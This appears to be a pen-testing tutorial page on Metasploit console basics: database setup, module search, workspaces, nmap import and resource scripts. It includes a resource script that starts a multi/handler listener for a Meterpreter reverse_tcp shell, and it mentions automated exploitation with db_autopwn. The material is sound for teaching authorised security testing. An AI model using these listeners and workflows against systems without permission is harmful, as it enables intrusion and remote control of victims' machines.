Metasploit Framework: console, database & workflow basics

The Metasploit Framework is one of the industry’s most widely adopted open-source penetration testing platforms, engineered to streamline vulnerability verification, exploit execution, and post-exploitation analysis. It provides security professionals and ethical hackers with an extensive database of modular exploits, auxiliary scanning modules, and customizable payloads — most notably the dynamic, in-memory Meterpreter agent. By enabling practitioners to safely simulate real-world cyberattacks across networks, operating systems, and applications, Metasploit serves as an essential standard for probing defensive perimeters and validating security postures.

See Meterpreter essentials and msfvenom for what comes after landing a session, and From service version to working exploit for turning enumeration results into the module you use below.

Database setup

Metasploit needs postgres to track hosts/creds/loot:

sudo msfdb init                # first-time setup
sudo msfdb status
/etc/init.d/postgresql start   # in some lab images the service isn't started yet
msfconsole
db_status                      # confirm it's connected before relying on `hosts`, `services`, etc.

Core console commands

search <string>                        # search all module names/descriptions
search type:auxiliary name:ftp cve:2017
use <module_path>
show options
show payloads          # compatible payloads for the loaded exploit
show targets           # for exploits with multiple target profiles
set <OPTION> <VALUE>
setg <OPTION> <VALUE>   # set globally, persists across module switches
run                     # or exploit / execute
back                    # unload current module

Tracking what you’ve found

sessions                # list active sessions
sessions -i <id>        # interact with one
hosts / services / creds / vulns / loot
route                   # active pivoting routes

Workspaces

Segment data per target/engagement:

workspace
workspace -a <name>
workspace -d <name>
workspace -r <new_name>

Feeding nmap results in

db_nmap -sS -sV -O <target_ip>          # scans AND saves to the db in one step
nmap <target_ip> -oX out.xml && db_import out.xml   # or import an existing XML

Resource scripts

# handler.rc
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.31.128
set LPORT 1234
run

msfconsole -r handler.rc     # run a script on launch
resource handler.rc          # or load one from inside msfconsole

Module variables

Variable	Meaning
`LHOST` / `LPORT`	Your machine’s IP/port. Defaults to localhost but can be overridden
`RHOST` / `RHOSTS`	Target or targets IP address(es)
`RPORT`	Target port

Wordlists live at /usr/share/metasploit-framework/data/wordlists. Some modules auto-open a session on success — check the sessions command for this.

Meterpreter essentials — the payload you’ll be interacting with after most exploits
msfvenom — generate the standalone payloads used by multi/handler
db_autopwn — automate exploit matching against everything in this database
searchsploit — offline alternative when search turns up nothing
From service version to working exploit — the workflow connecting enumeration to the use/search steps above
Pivoting: reach isolated subnets through a compromised host — what the route command and autoroute support